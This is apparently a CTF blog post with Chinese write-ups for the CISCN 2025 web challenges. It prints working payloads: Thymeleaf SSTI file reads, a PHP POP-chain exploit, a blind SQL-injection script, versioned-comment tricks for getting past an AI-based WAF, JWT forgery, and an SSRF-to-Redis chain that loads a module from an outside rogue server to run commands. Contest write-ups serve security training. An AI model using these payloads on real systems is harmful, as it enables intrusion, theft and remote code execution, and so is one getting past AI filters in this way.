炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

站点统计

文章

36

分类

7

标签

44

总字数

30,673

运行天数

0 天

最后活动

0 天前

392 字

1 分钟

第十九届全国大学生信息安全竞赛（创新实践能力赛）暨第三届“长城杯”网数智安全大赛（防护赛）初赛

2025-12-28

CTF

/

CCB

/

CISCN

[Web]EzJava#

弱密码登陆: admin/admin123

Spring框架Thymeleaf SSTI Pyaload

1
[[${7*7}]]
2
49
3

4
[[${#ctx}]]
5
{ip=10.0.0.248, now=2025-12-28T09:58:19.162353, ua=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36, thymeleaf::EvaluationContext=org.thymeleaf.spring5.expression.ThymeleafEvaluationContextWrapper@765801c6}[StandardHTMLInliner]([[${#ctx}]])

EzJava

1
[[${#ctx.getClass().forName("java.nio.file.Files").getMethod("readString", #ctx.getClass().forName("java.nio.file.Path")).invoke(null, #ctx.getClass().forName("java.nio.file.Paths").getMethod("get", #ctx.getClass().forName("java.lang.String"), #ctx.getClass().forName("[Ljava.lang.String;")).invoke(null, "/fl" + "ag_y0u_d0nt_kn0w", #strings.arraySplit("", ",")))}]]

[Web]dedecms#

先注册一个账号，发现有一个Aa123456789用户，尝试登陆，发现弱密码：Aa123456789/Aa123456789 upload

dedecms

简单搜索，发现dedecms v5.1 sp2存在相当多漏洞，多数是文件上传，拦截改后缀。随便找上传点，写一个图片马，拦截后缀改php。

[Web]redjs#

前几天爆出的React.js漏洞。使用 React2Shell 一把梭。

[Web]hellogate#

访问靶机看到一张图片，下载下来发现是图片马。

1
<?php
2
error_reporting(0);
3
class A {
4
    public $handle;
5
    public function triggerMethod() {
6
        echo "" . $this->handle;
7
    }
8
}
9
class B {
10
    public $worker;
11
    public $cmd;
12
    public function __toString() {
13
        return $this->worker->result;
14
    }
15
}
16
class C {
17
    public $cmd;
18
    public function __get($name) {
19
        echo file_get_contents($this->cmd);
20
    }
21
}
22
$raw = isset($_POST['data']) ? $_POST['data'] : '';
23
header('Content-Type: image/jpeg');
24
readfile("muzujijiji.jpg");
25
highlight_file(__FILE__);
26
$obj = unserialize($_POST['data']);
27
$obj->triggerMethod();

pop链，写个exp：

1
<?php
2
class A {
3
    public $handle;
4
}
5
class B {
6
    public $worker;
7
}
8
class C {
9
    public $cmd;
10
}
11

12
$a = new A();
13
$b = new B();
14
$c = new C();
15

16
$c->cmd = '/flag';
17
$b->worker = $c;
18
$a->handle = $b;
19

20
echo urlencode(serialize($a));
21
?>

去POST data拿到flag。

[Web]AI_WAF#

带有AI审核的Sql注入。简单摸索，发现-1'||substr(database(),1,1)='a'#可以盲注，写exp：

1
from time import sleep
2
import requests
3
import string
4

5
url = "http://60.205.252.190:34938/search"
6
headers = {"Content-Type": "application/json"}
7

8
# chars = string.digits + string.ascii_letters + "_"
9
chars = string.ascii_letters + "_"
10
result = ""
11
for i in range(1, 20):
12
    for char in chars:
13
        # Payload: -1'||substr(database(),1,1)='a'#
14
        payload = f"-1'||substr(database(),{i},1)='{char}'#"
15
        data = {"query": payload}
16

17
        try:
18
            sleep(1)
19
            r = requests.post(url, json=data, headers=headers, timeout=3)
20
            res = r.json()
21
            print(res)
22
            count = res.get("count", 0)
23

24
            if count != 0:
25
                result += char
26
                print(result)
27
                break
28
        except Exception as e:
29
            print("fuck")
30

31
print(result)
32
# nexadata

blind_injection 然后那库名继续盲注，缺发现过不了AI WAF了，考虑其他方法。把database()改成version()盲注，发现是mysql5.

/*!50000 */ 是mysql中的一种特殊版本内联注释，只有当mysql版本满足指定数字（这里的50000代表5.0.0）时，这部分内容才会被当作sql命令执行。这个注释很不常见，可以用来绕过AI Waf。

构造以下payload：

1
-1'/*!50000union*/ /*!50000select*/ 1,(/*!50000select*/ group_concat(table_name) /*!50000from*/ /*!50000information_schema.tables*/ /*!50000where*/ table_schema='nexadata'),3;#

获得article,where_is_my_flagggggg

1
-1'/*!50000union*/ /*!50000select*/ 1,(/*!50000select*/ * from nexadata.where_is_my_flagggggg),3;#

拿到flag

[Web]Deprecated#

参考AsaL1n的wp，发现是原题。

public

1
git clone https://github.com/sammwyy/r2sae
2
cd r2sae
3

4
docker run -it sig2n /bin/bash
5

6
root@7f5f15b8bf09:/app# python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwcml2aWxlZGdlIjoiVGVtcCBVc2VyIiwiaWF0IjoxNzY2OTAxMjI0fQ.200-7l5FAFAPmXWjvcpPbmxUPHdowPrwdswwuWQAo68D882fCdlAiG54vWx2l3I-iM2mXOVDFxlVnw5A4gzxqxwhtu5RIITQwApDBxGu_3MHdQ10_nvvO8tDv7fFSrC2_kM4VOVEtjabQBgn1OGQfNjAQEeM8m1nxX5qXsyBUEI eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwcml2aWxlZGdlIjoiVGVtcCBVc2VyIiwiaWF0IjoxNzY2OTAxMjY0fQ.nnk29Tek8TIcRFEjHmDnC60_cSToSAXPbbD-v3jZJu_bbwG7tBPCHohbz3fvZt4yUmH5vXLDyawJDyaKzfiQFI7LNhr12TInDmiDJRIBNAjKBSDAiXZS37I_lss8ftrJq8olOhkzlCRia5EQUqpp_s08jQe75FKifXM_zuugLE4 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJwcml2aWxlZGdlIjoiVGVtcCBVc2VyIiwiaWF0IjoxNzY2OTAxMjgwfQ.aPy4NdsNwghpXlB0PoLohDaM4kgDilHmsnkPl691_dNvwuPyXmpJ4Qzd68wH0zq9oavXckgCim4AiM8p-jtNJA8jwBidR85DePOye73XISAHFb8xC24e0dfvK4pytbmAyfjys8fAPYigU4ATH6ZEY5zOEXSpkWZdM3XFFoR-7XY
7
[*] GCD:  0x1
8
[*] GCD:  0xe5f772ebb5363556eaa13c773bcb939090798e1107e90c6b3703c4779a72c3717377248f2d32876270eb767acfa88cfebaa70501bdd58b8b2f5229d1cf0068cd19902d4a9501b9935887fe4e91d8c82b2488f69163ece5fed2ebad57df358feaa93bb39e0ead8e4c77a8d5b7e52474d11e5d0ce58cb8e796e583a2928266e35b
9
[+] Found n with multiplier 1  :
10
 0xe5f772ebb5363556eaa13c773bcb939090798e1107e90c6b3703c4779a72c3717377248f2d32876270eb767acfa88cfebaa70501bdd58b8b2f5229d1cf0068cd19902d4a9501b9935887fe4e91d8c82b2488f69163ece5fed2ebad57df358feaa93bb39e0ead8e4c77a8d5b7e52474d11e5d0ce58cb8e796e583a2928266e35b
11
[+] Written to e5f772ebb5363556_65537_x509.pem
12
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICIxIiwgInByaXZpbGVkZ2UiOiAiVGVtcCBVc2VyIiwgImlhdCI6IDE3NjY5MDEyMjQsICJleHAiOiAxNzY2OTg5MzUzfQ.wGAJmzR5DOM6NPMSF4tuKyMxqrUMiQEZ3UXeQBi4MKk'
13
[+] Written to e5f772ebb5363556_65537_pkcs1.pem
14
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICIxIiwgInByaXZpbGVkZ2UiOiAiVGVtcCBVc2VyIiwgImlhdCI6IDE3NjY5MDEyMjQsICJleHAiOiAxNzY2OTg5MzUzfQ.dpXSrmSVXe_4JyAGUm0QvHrWDe3JfKh7uxg6A1p8C18'
15
================================================================================
16
Here are your JWT's once again for your copypasting pleasure
17
================================================================================
18
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICIxIiwgInByaXZpbGVkZ2UiOiAiVGVtcCBVc2VyIiwgImlhdCI6IDE3NjY5MDEyMjQsICJleHAiOiAxNzY2OTg5MzUzfQ.wGAJmzR5DOM6NPMSF4tuKyMxqrUMiQEZ3UXeQBi4MKk
19
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICIxIiwgInByaXZpbGVkZ2UiOiAiVGVtcCBVc2VyIiwgImlhdCI6IDE3NjY5MDEyMjQsICJleHAiOiAxNzY2OTg5MzUzfQ.dpXSrmSVXe_4JyAGUm0QvHrWDe3JfKh7uxg6A1p8C18

拿到公钥后按照wp复现一遍。

[未解出][Web]0o0o0o0o0#

1
http://123.56.93.38:28707/data?id=1'union select 1,2,3 and '1'='1

1和2是可控的 0o0o0o0o0 没什么进展了。

[赛后复现][Web]hjppx#

SSRF，简单探测发现内网存在redis、mysql以及8080端口的pb-cms。

fetch一下redis，dict://127.0.0.1:6379/info，发现没有密码。使用redis-rogue-server，依照README，依次请求：

1
#设置备份文件名
2
action=fetch&url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3

4
#连接恶意Redis服务器
5
action=fetch&url=dict://127.0.0.1:6379/slaveof:120.26.146.96:21000
6

7
#加载恶意模块
8
action=fetch&url=dict://127.0.0.1:6379/module:load:./exp.so
9

10
#切断主从复制
11
action=fetch&url=dict://127.0.0.1:6379/slaveof:no:one
12

13
#执行系统命令
14
action=fetch&url=dict://127.0.0.1:6379/system.exec:"ls /"